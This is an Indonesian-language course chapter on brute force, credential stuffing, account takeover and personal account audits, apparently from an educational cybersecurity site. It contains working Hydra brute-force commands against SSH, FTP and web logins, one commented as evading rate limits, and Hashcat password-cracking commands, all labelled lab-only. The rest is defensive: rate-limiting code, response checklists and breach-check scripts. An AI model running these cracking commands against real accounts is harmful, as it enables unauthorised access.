  • Cloudflare - What is credential stuffing?
9.8

BRUTE FORCE & CREDENTIAL STUFFING

Brute force dan credential stuffing adalah dua teknik serangan otomatis yang paling umum untuk mendapatkan akses ke akun. Memahami cara kerjanya membantu kita membangun pertahanan yang efektif.

1. Brute Force Attack

DEFINISI

Brute force attack = teknik mencoba semua kombinasi password yang mungkin sampai menemukan yang benar. Otomatis, cepat, tapi efektif untuk password lemah.

Jenis Brute Force:

JENISCARA KERJACONTOH
Simple Brute Force Coba semua kombinasi karakter a, b, c, ..., aa, ab, ...
Dictionary Attack Coba dari daftar kata umum password, 123456, admin
Hybrid Attack Kata + variasi (angka, simbol) password123, P@ssw0rd!
Rule-based Attack Apply rules ke wordlist Capitalization, leetspeak
Mask Attack Coba pola spesifik ?u?l?l?l?l?d?d?d?d (1 huruf besar + 4 huruf + 4 angka)
ANIMASI: BRUTE FORCE ATTACK - MENCoba SEMUA KOMBINASI
ATTACKER Trying: 123456 LOGIN SERVER Try: admin Try: password Try: 123456 FAIL FAIL FAIL ACCESS GRANTED Mencoba ribuan password per detik sampai berhasil

Praktik: Brute Force dengan Hydra

Bash - Hydra Brute Force (LAB ONLY!)
# PERINGATAN: Hanya di lab sendiri!

# Brute force SSH
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
    ssh://192.168.1.100

# Brute force FTP
$ hydra -L users.txt -P passwords.txt ftp://target.com

# Brute force HTTP form login
$ hydra -l admin -P rockyou.txt target.com \
    http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Dengan proxy (untuk menghindari rate limit)
$ hydra -t 4 -w 10 -l admin -P rockyou.txt target.com http-post-form ...

# Output:
[DATA] max 16 tasks per 1 server, 14344394 login tries
[STATUS] 123.00 tries/min, 123 tries in 00:01h
[22][ssh] host: 192.168.1.100  login: admin  password: password123

Praktik: Password Cracking dengan Hashcat

Bash - Hashcat Password Cracking
# PERINGATAN: Hanya untuk password Anda sendiri atau lab!

# Crack MD5 hash
$ hashcat -m 0 -a 0 hashes.txt rockyou.txt
# -m 0 = MD5
# -a 0 = dictionary attack

# Crack SHA-256 hash
$ hashcat -m 1400 -a 0 hashes.txt rockyou.txt

# Crack bcrypt hash (lambat)
$ hashcat -m 3200 -a 0 hashes.txt rockyou.txt

# Brute force semua kombinasi (mask attack)
$ hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?d?d
# ?l = lowercase, ?u = uppercase, ?d = digit, ?s = symbol
# 6 huruf + 2 angka = 2.8 miliar kombinasi

# Rule-based attack
$ hashcat -m 0 -a 0 -r rules/best64.rule hashes.txt rockyou.txt

# Show cracked passwords
$ hashcat -m 0 --show hashes.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123

2. Credential Stuffing

DEFINISI

Credential stuffing = menggunakan username:password yang sudah bocor dari breach lain untuk mencoba login ke layanan berbeda. Efektif karena banyak orang reuse password.

ANIMASI: CREDENTIAL STUFFING - PAKAI KREDENSIAL BOCOR
BREACHED DB user1:pass123 user2:qwerty user3:123456 ... 15B+ combos BOT Try each combo to many sites Gmail Bank BCA Instagram Kombinasi dari breach 1 -> coba di banyak layanan lain

Brute Force vs Credential Stuffing

ASPEKBRUTE FORCECREDENTIAL STUFFING
Input Semua kombinasi password Username:password dari breach
Target 1 akun, banyak password Banyak akun, 1 password per akun
Kecepatan Lambat (jutaan percobaan) Cepat (hanya 1 percobaan per akun)
Deteksi Mudah (rate limit, lockout) Sulit (terlihat seperti login normal)
Keberhasilan Tergantung kekuatan password Tergantung password reuse

Pertahanan

PERTAHANAN BRUTE FORCE & STUFFING

Untuk User:

  • Password unik per akun (anti-stuffing)
  • Password panjang (anti-brute force)
  • MFA (stop keduanya)
  • Cek Have I Been Pwned berkala

Untuk Developer/Admin:

  • Rate limiting: batasi jumlah percobaan login
  • Account lockout: kunci akun setelah 5x gagal
  • CAPTCHA: bedakan manusia vs bot
  • Check breached passwords: tolak password yang sudah bocor
  • Monitor login attempts: deteksi pola mencurigakan
  • IP reputation: blokir IP dari datacenter/botnet
  • Behavioral analysis: deteksi anomali (lokasi, device, waktu)
Python - Rate Limiter Sederhana
from collections import defaultdict
from time import time

class RateLimiter:
    """Rate limiter untuk mencegah brute force."""
    
    def __init__(self, max_attempts=5, window=300):
        self.max_attempts = max_attempts  # max percobaan
        self.window = window  # window dalam detik (5 menit)
        self.attempts = defaultdict(list)
    
    def is_allowed(self, ip):
        """Cek apakah IP boleh mencoba login."""
        now = time()
        # Hapus attempts lama
        self.attempts[ip] = [t for t in self.attempts[ip] 
                              if now - t < self.window]
        
        # Cek jumlah attempts
        if len(self.attempts[ip]) >= self.max_attempts:
            return False, "Too many attempts. Try again later."
        
        # Catat attempt
        self.attempts[ip].append(now)
        return True, "OK"

# Contoh penggunaan
limiter = RateLimiter(max_attempts=5, window=300)

# Simulasi login attempts
for i in range(7):
    allowed, msg = limiter.is_allowed("192.168.1.100")
    print(f"Attempt {i+1}: {msg}")

# Output:
# Attempt 1: OK
# Attempt 2: OK
# Attempt 3: OK
# Attempt 4: OK
# Attempt 5: OK
# Attempt 6: Too many attempts. Try again later.
# Attempt 7: Too many attempts. Try again later.
ANALOGI: BRUTE FORCE vs STUFFING
  • Brute force = mencoba semua kunci yang mungkin dibuat untuk SATU pintu
  • Credential stuffing = mencoba kunci yang sudah dicuri dari rumah lain ke BANYAK pintu

Brute force butuh waktu lama tapi fokus. Credential stuffing cepat tapi butuh "kunci curian" dari breach lain.

REFERENSI
  • OWASP - Credential Stuffing Prevention Cheat Sheet
  • NIST SP 800-63B - Memorized Secret Verifiers
  • Hashcat - Advanced Password Recovery (hashcat.net)
  • Hydra - Network Login Cracker (thc.org/thc-hydra)
9.9

ACCOUNT TAKEOVER

Account Takeover (ATO) adalah serangan di mana attacker mendapat kontrol penuh atas akun korban. Ini adalah tujuan akhir dari banyak serangan - setelah ATO, attacker bisa melakukan apa saja: mencuri data, uang, identitas, atau menggunakan akun untuk menyerang orang lain.

Statistik ATO

$12B
KERUGIAN ATO GLOBAL 2024
Juniper Research
17%
BREACH MELIBATKAN ATO
Verizon DBIR 2024
72h
WAKTU RATA-RATA DETEKSI
Ekata 2024
90%
ATO BISA DICEGAH DENGAN MFA
Microsoft 2024

Metode ATO

METODECARA KERJACONTOH
Credential Stuffing Pakai password bocor dari breach lain Collection #1-5
Phishing Tipu korban berikan kredensial Email palsu bank
Session Hijacking Curi session cookie/token XSS, MITM
SIM Swap Transfer nomor HP ke SIM attacker Social engineering operator
Malware Keylogger, info stealer Emotet, TrickBot
Social Engineering Manipulasi support untuk reset password Vishing
Recovery Abuse Eksploitasi proses recovery Security question guessing
ANIMASI: ALUR ACCOUNT TAKEOVER
INITIAL ACCESS phishing/stuffing CHANGE PASSWORD email/phone ENABLE ATTACKER MFA lock out victim EXPLOIT ACCOUNT Access -> Change credentials -> Enable attacker MFA -> Full control

Indikator ATO

PASSWORD BERUBAH
Tidak bisa login dengan password lama.
EMAIL RECOVERY BERUBAH
Email recovery diganti attacker.
NOMOR HP BERUBAH
Nomor recovery diganti.
MFA BARU AKTIF
Device MFA attacker terdaftar.
LOGIN LOKASI ANEH
Login dari negara/device tidak dikenal.
TRANSAKSI MENCURIGAKAN
Transfer, pembelian tidak dikenal.

Pencegahan ATO

STRATEGI PENCEGAHAN

Untuk User:

  • MFA (wajib untuk semua akun penting)
  • Password unik per akun
  • Monitor login activity berkala
  • Setup recovery options yang aman
  • Notification alerts untuk perubahan akun
  • Review connected apps secara berkala

Untuk Developer/Admin:

  • Behavioral analytics: deteksi anomali login
  • Step-up authentication: MFA untuk aksi sensitif
  • Device fingerprinting: deteksi device baru
  • Location-based alerts: notifikasi login dari lokasi baru
  • Rate limiting pada perubahan akun
  • Notify user saat password/email/phone berubah
  • Delay recovery: tunggu 24-72 jam untuk perubahan kritis

Response Plan Jika ATO Terjadi

1. DETEKSI
Sadari akun dibajak
2. RECOVERY
Proses recovery resmi
3. SECURE
Ganti password, revoke sessions
4. AUDIT
Cek aktivitas attacker
5. REPORT
Lapor ke platform & pihak berwajib
Checklist - ATO Response
# ============================================
# ACCOUNT TAKEOVER RESPONSE CHECKLIST
# ============================================

# 1. RECOVERY
[ ] Gunakan "Forgot password" / official recovery
[ ] Hubungi support platform jika recovery gagal
[ ] Siapkan bukti identitas (KTP, selfie, dll)
[ ] Cek email untuk link recovery resmi

# 2. SECURE ACCOUNT
[ ] Ganti password (password baru yang unik & kuat)
[ ] Ganti security questions (jika ada)
[ ] Review & hapus device MFA attacker
[ ] Setup MFA dengan device Anda sendiri
[ ] Review & revoke connected apps
[ ] Logout semua sessions ("Sign out everywhere")

# 3. AUDIT DAMAGE
[ ] Cek email terkirim (attacker mungkin kirim phishing)
[ ] Cek transaksi finansial (bank, e-wallet, e-commerce)
[ ] Cek perubahan data profil (email, nomor HP, alamat)
[ ] Cek postingan/upload (attacker mungkin post sesuatu)
[ ] Cek friends/followers (attacker mungkin add/remove)

# 4. NOTIFY
[ ] Inform kontak bahwa akun sempat dibajak
[ ] Laporkan ke platform (support ticket)
[ ] Laporkan ke bank jika ada transaksi fraud
[ ] Laporkan ke polisi (surat keterangan)
[ ] Laporkan ke BSSN jika berdampak luas

# 5. PREVENT FUTURE
[ ] Cek Have I Been Pwned untuk email Anda
[ ] Ganti password di akun lain yang pakai password sama
[ ] Setup MFA di semua akun penting
[ ] Aktifkan notifikasi untuk perubahan akun
[ ] Review recovery options
KASUS: TWITTER HIJACK 2020

Tanggal 15 Juli 2020, akun Twitter Barack Obama, Elon Musk, Jeff Bezos, Apple, Uber, dan banyak lainnya di-hack dalam serangan terkoordinasi. Attacker menggunakan SIM swap + social engineering terhadap karyawan Twitter untuk mendapatkan akses internal.

Dampak: tweet scam Bitcoin yang mengumpulkan $118,000+ dalam beberapa jam. Twitter menangguhkan posting tweet selama beberapa jam untuk akun verified.

ANALOGI: ATO = PERAMPOKAN RUMAH
  • Initial access = pencuri masuk rumah (lewat jendela rusak, kunci duplikat)
  • Change credentials = ganti kunci rumah, usir pemilik asli
  • Enable attacker MFA = pasang alarm yang hanya pencuri yang bisa matikan
  • Exploit = ambil semua barang berharga, pakai identitas korban untuk pinjam uang
REFERENSI
  • Ekata - State of Account Takeover 2024
  • Microsoft - Account Takeover Protection
  • FBI IC3 - Account Takeover Fraud Report
  • OWASP - Authentication Cheat Sheet
9.10

AUDIT KEAMANAN AKUN

Audit keamanan akun adalah proses meninjau dan mengevaluasi konfigurasi keamanan semua akun digital Anda secara menyeluruh. Ini adalah praktik paling praktis dari bab ini - saatnya menerapkan semua yang telah dipelajari.

Tujuan Audit

TUJUAN AUDIT
  • Identifikasi akun dengan password lemah/reused
  • Pastikan MFA aktif di semua akun kritis
  • Verifikasi recovery options sudah aman
  • Cek data breach yang melibatkan akun Anda
  • Review connected apps & permissions
  • Dokumentasikan semua akun yang Anda miliki
  • Buat action plan untuk perbaikan

7 Langkah Audit Akun

ANIMASI: 7 LANGKAH AUDIT KEAMANAN AKUN
1 INVENTORY 2 PASSWORD CHECK 3 MFA CHECK 4 RECOVERY 5 BREACH CHECK 6 APPS REVIEW 7 ACTION PLAN

Langkah 1: Inventory Akun

Buat daftar lengkap semua akun digital Anda:

Template - Akun Inventory
# ============================================
# AKUN INVENTORY
# Tanggal: 2026-09-09
# ============================================

Email:
  [ ] primary@gmail.com
  [ ] work@company.com
  [ ] recovery@protonmail.com

Finance:
  [ ] BCA (m-banking)
  [ ] Mandiri
  [ ] OVO / GoPay / Dana
  [ ] PayPal
  [ ] Binance / Tokocrypto

Social Media:
  [ ] Facebook
  [ ] Instagram
  [ ] Twitter/X
  [ ] LinkedIn
  [ ] TikTok
  [ ] YouTube

Shopping:
  [ ] Tokopedia
  [ ] Shopee
  [ ] Lazada
  [ ] Bukalapak
  [ ] Amazon

Productivity:
  [ ] Google Workspace
  [ ] Microsoft 365
  [ ] Dropbox / Google Drive
  [ ] Notion / Evernote
  [ ] GitHub / GitLab

Entertainment:
  [ ] Netflix
  [ ] Spotify
  [ ] Disney+
  [ ] Steam / Epic Games

Utilities:
  [ ] Apple ID / Google Account
  [ ] WhatsApp (linked to phone)
  [ ] Telegram
  [ ] Signal

Government:
  [ ] Pajak Online (DJP Online)
  [ ] BPJS
  [ ] Dukcapil
  [ ] Samsat

Other:
  [ ] ... (tambahkan sesuai kebutuhan)

Langkah 2: Password Check

Cek kekuatan dan keunikan password setiap akun:

Checklist - Password Audit
# ============================================
# PASSWORD AUDIT CHECKLIST
# ============================================

Untuk setiap akun:

[ ] Password minimal 12 karakter?
[ ] Password unik (tidak dipakai di akun lain)?
[ ] Password tidak ada di common passwords list?
[ ] Password tidak mengandung info personal?
[ ] Password disimpan di password manager?

Tools untuk cek:
- Have I Been Pwned (pwnedpasswords.com)
- Security.org password strength checker
- Password manager audit feature

Prioritas perbaikan:
1. Email utama (CRITICAL)
2. Password manager master password (CRITICAL)
3. Banking & finance (CRITICAL)
4. Social media (HIGH)
5. Shopping (MEDIUM)
6. Entertainment (LOW)

Langkah 3: MFA Check

Verifikasi MFA aktif di semua akun kritis:

Checklist - MFA Audit
# ============================================
# MFA AUDIT CHECKLIST
# ============================================

CRITICAL (WAJIB MFA):
[ ] Email utama (Gmail, Outlook, dll)
[ ] Password manager
[ ] Banking (BCA, Mandiri, dll)
[ ] E-wallet (OVO, GoPay, Dana)
[ ] Crypto exchange
[ ] Cloud storage (Google Drive, Dropbox)

HIGH (SANGAT DISARANKAN):
[ ] Social media (FB, IG, Twitter, LinkedIn)
[ ] Shopping (Tokopedia, Shopee)
[ ] Government (DJP Online, BPJS)
[ ] Work accounts (Slack, Zoom, Office 365)

MEDIUM (DISARANKAN):
[ ] Entertainment (Netflix, Spotify)
[ ] Gaming (Steam, Epic)
[ ] Forum & komunitas

MFA Method Check:
[ ] Authenticator app (Aegis, 2FAS, Google Auth)
[ ] Hardware key (YubiKey) untuk akun critical
[ ] Backup codes disimpan offline
[ ] Recovery email/phone sudah verified
[ ] Tidak hanya andalkan SMS OTP

Langkah 4: Recovery Check

Checklist - Recovery Audit
# ============================================
# RECOVERY AUDIT CHECKLIST
# ============================================

Recovery Email:
[ ] Recovery email sudah di-setup
[ ] Recovery email != email utama
[ ] Recovery email punya MFA
[ ] Recovery email masih aktif & bisa diakses

Recovery Phone:
[ ] Nomor recovery sudah di-setup
[ ] Nomor masih aktif
[ ] SIM punya PIN aktif (anti SIM swap)
[ ] Kontak operator untuk blokir darurat

Backup Codes:
[ ] Download backup codes dari setiap akun
[ ] Print & simpan di brankas rumah
[ ] Simpan encrypted copy di password manager
[ ] Catat tanggal download
[ ] Test recovery process (minimal 1x/tahun)

Security Questions:
[ ] Hindari jika memungkinkan
[ ] Jika terpaksa, gunakan jawaban random
[ ] Simpan jawaban di password manager

Langkah 5: Breach Check

Bash - Cek Breach untuk Semua Email
# Cek semua email Anda di Have I Been Pwned
# Perlu API key (gratis untuk penggunaan pribadi)

$ API_KEY="YOUR_HIBP_API_KEY"
$ EMAILS=("primary@gmail.com" "work@company.com" "recovery@protonmail.com")

for email in "${EMAILS[@]}"; do
    echo "Checking: $email"
    curl -s -H "hibp-api-key: $API_KEY" \
        "https://haveibeenpwned.com/api/v3/breachedaccount/$email?truncateResponse=false" | \
        jq '.[] | "\(.Name) - \(.BreachDate) - \(.DataClasses | join(", "))"'
    echo "---"
done

# Output contoh:
# LinkedIn - 2021-06-14 - Email, Name, Phone
# Tokopedia - 2020-05-02 - Email, Name, Password
# Adobe - 2013-10-04 - Email, Password hint

Langkah 6: Apps & Permissions Review

Checklist - Apps & Permissions
# ============================================
# APPS & PERMISSIONS REVIEW
# ============================================

Google Account:
- Buka: myaccount.google.com/permissions
[ ] Review semua apps yang punya akses
[ ] Revoke akses apps yang tidak dipakai
[ ] Cek permission level (read/write/full)

Facebook:
- Buka: Settings -> Apps and Websites
[ ] Review apps connected
[ ] Remove apps tidak aktif
[ ] Cek data yang di-share

Smartphone:
- Android: Settings -> Privacy -> Permission Manager
- iOS: Settings -> Privacy & Security
[ ] Review apps dengan akses lokasi
[ ] Review apps dengan akses kamera/mic
[ ] Review apps dengan akses kontak
[ ] Revoke permission tidak perlu

Browser Extensions:
[ ] Review semua extensions terpasang
[ ] Hapus extensions tidak dipakai
[ ] Cek permission extensions
[ ] Pastikan dari sumber terpercaya

Langkah 7: Action Plan

Template - Audit Action Plan
# ============================================
# AUDIT ACTION PLAN
# Tanggal Audit: 2026-09-09
# ============================================

CRITICAL (selesaikan dalam 24 jam):
[ ] Ganti password email utama (sudah bocor di breach 2020)
[ ] Setup MFA di banking BCA (belum aktif!)
[ ] Revoke akses app "SuspiciousApp" dari Google account

HIGH (selesaikan dalam 1 minggu):
[ ] Setup MFA di Instagram, Twitter, LinkedIn
[ ] Ganti password di 5 akun yang reuse password
[ ] Download backup codes untuk semua akun critical
[ ] Setup recovery email terpisah

MEDIUM (selesaikan dalam 1 bulan):
[ ] Install password manager (Bitwarden)
[ ] Migrasi semua password ke password manager
[ ] Review & hapus 10 akun tidak terpakai
[ ] Setup hardware key (YubiKey) untuk akun critical

LOW (jadwalkan dalam 3 bulan):
[ ] Review semua smartphone app permissions
[ ] Hapus browser extensions tidak perlu
[ ] Test recovery process untuk 3 akun utama
[ ] Audit connected apps di semua platform

JADWAL AUDIT BERIKUTNYA:
- Quick check: 1 bulan (15 menit)
- Partial audit: 3 bulan (1 jam)
- Full audit: 6 bulan (2-3 jam)

Script Audit Otomatis

Python - Account Security Audit Script
import json
import hashlib
import requests
from datetime import datetime

class AccountAuditor:
    """Audit keamanan akun digital."""
    
    def __init__(self):
        self.accounts = []
        self.issues = []
    
    def add_account(self, name, email, has_mfa, password_strength, 
                     last_audit, recovery_set):
        """Tambah akun ke audit."""
        self.accounts.append({
            'name': name,
            'email': email,
            'has_mfa': has_mfa,
            'password_strength': password_strength,  # weak/medium/strong
            'last_audit': last_audit,
            'recovery_set': recovery_set
        })
    
    def check_password_breach(self, password):
        """Cek apakah password sudah bocor (via HIBP API)."""
        sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
        prefix, suffix = sha1[:5], sha1[5:]
        
        try:
            r = requests.get(
                f'https://api.pwnedpasswords.com/range/{prefix}',
                timeout=5
            )
            for line in r.text.split():
                if line.startswith(suffix):
                    count = line.split(':')[1]
                    return True, int(count)
            return False, 0
        except:
            return None, 0
    
    def run_audit(self):
        """Jalankan audit lengkap."""
        print(f"\n{'='*60}")
        print(f"ACCOUNT SECURITY AUDIT REPORT")
        print(f"Date: {datetime.now().strftime('%Y-%m-%d %H:%M')}")
        print(f"{'='*60}\n")
        
        for acc in self.accounts:
            print(f"\n[{acc['name']}]")
            print(f"  Email: {acc['email']}")
            
            # Check MFA
            if not acc['has_mfa']:
                print("  [CRITICAL] MFA TIDAK AKTIF!")
                self.issues.append((acc['name'], 'MFA tidak aktif'))
            else:
                print("  [OK] MFA aktif")
            
            # Check password strength
            if acc['password_strength'] == 'weak':
                print("  [CRITICAL] Password lemah!")
                self.issues.append((acc['name'], 'Password lemah'))
            elif acc['password_strength'] == 'medium':
                print("  [WARNING] Password sedang")
                self.issues.append((acc['name'], 'Password perlu ditingkatkan'))
            else:
                print("  [OK] Password kuat")
            
            # Check recovery
            if not acc['recovery_set']:
                print("  [WARNING] Recovery options belum di-setup")
                self.issues.append((acc['name'], 'Recovery belum di-setup'))
            
            # Check last audit
            print(f"  Last audit: {acc['last_audit']}")
        
        # Summary
        print(f"\n{'='*60}")
        print(f"SUMMARY")
        print(f"{'='*60}")
        print(f"Total akun: {len(self.accounts)}")
        print(f"Total issues: {len(self.issues)}")
        
        if self.issues:
            print("\nACTION ITEMS:")
            for i, (acc, issue) in enumerate(self.issues, 1):
                print(f"  {i}. {acc}: {issue}")

# Contoh penggunaan
auditor = AccountAuditor()

# Tambah akun-akun
auditor.add_account("Gmail Utama", "me@gmail.com", 
                    has_mfa=True, password_strength='strong', 
                    last_audit="2026-06-01", recovery_set=True)

auditor.add_account("BCA", "me@bank.com",
                    has_mfa=False, password_strength='medium',
                    last_audit="2025-12-01", recovery_set=False)

auditor.add_account("Instagram", "me@ig.com",
                    has_mfa=True, password_strength='weak',
                    last_audit="2026-01-15", recovery_set=True)

# Jalankan audit
auditor.run_audit()

Jadwal Audit Berkala

FREKUENSIAKTIVITASDURASI
Mingguan Cek notifikasi keamanan, review login activity 5 menit
Bulanan Cek Have I Been Pwned, review connected apps 15 menit
3 Bulanan Partial audit (akun kritis), test recovery 1 jam
6 Bulanan Full audit semua akun, update action plan 2-3 jam
Tahunan Audit komprehensif, hapus akun tidak terpakai Sehari
ANALOGI: AUDIT = CHECK-UP KESEHATAN RUTIN
  • Audit mingguan = cek tensi & berat badan
  • Audit bulanan = cek darah sederhana
  • Audit 3 bulanan = konsultasi dokter spesialis
  • Audit 6 bulanan = medical check-up lengkap
  • Audit tahunan = comprehensive health screening

Seperti kesehatan, keamanan akun butuh pemantauan rutin. Jangan tunggu "sakit" (akun dibajak) baru periksa!

PRINSIP: TRUST BUT VERIFY

Keamanan akun bukan sekali setup, selesai. Dunia digital terus berubah - breach baru terjadi setiap hari, teknik serangan berevolusi, dan akun Anda terus "berinteraksi" dengan layanan baru. Audit berkala adalah kewajiban, bukan pilihan.

REFERENSI
  • Have I Been Pwned - API Documentation
  • Google - Security Checkup Tool
  • Microsoft - Account Security Dashboard
  • Bitwarden - Security Audit Features
  • NIST SP 800-63B - Authenticator Requirements
Q

DIAGNOSTIK KOMPETENSI

Uji pemahaman Anda tentang Bab 09! Target minimal: 70% untuk melanjutkan ke Bab 10.

PETUNJUK
  • Total 10 pertanyaan pilihan ganda
  • Klik opsi untuk menjawab - feedback langsung
  • Benar = HIJAU, salah = MAGENTA
  • Penjelasan muncul setelah menjawab
  • Klik "LIHAT HASIL AKHIR" untuk skor final
SKOR ANDA
0/ 10
-

-

REFERENSI BAB 09 SECARA KESELURUHAN
  • NIST SP 800-63A - Enrollment and Identity Proofing
  • NIST SP 800-63B - Authentication and Lifecycle Management
  • OWASP - Authentication Cheat Sheet
  • OWASP - Credential Stuffing Prevention Cheat Sheet
  • Have I Been Pwned - Pwned Passwords Database
  • FIDO Alliance - WebAuthn Specification
  • RFC 6238 - TOTP Algorithm
  • Verizon - Data Breach Investigations Report 2024
  • Bitwarden - Security Whitepaper
  • Microsoft - 99.9% of automated attacks blocked by MFA
ABDURROZAK.MY.ID // JARINGAN SOSIAL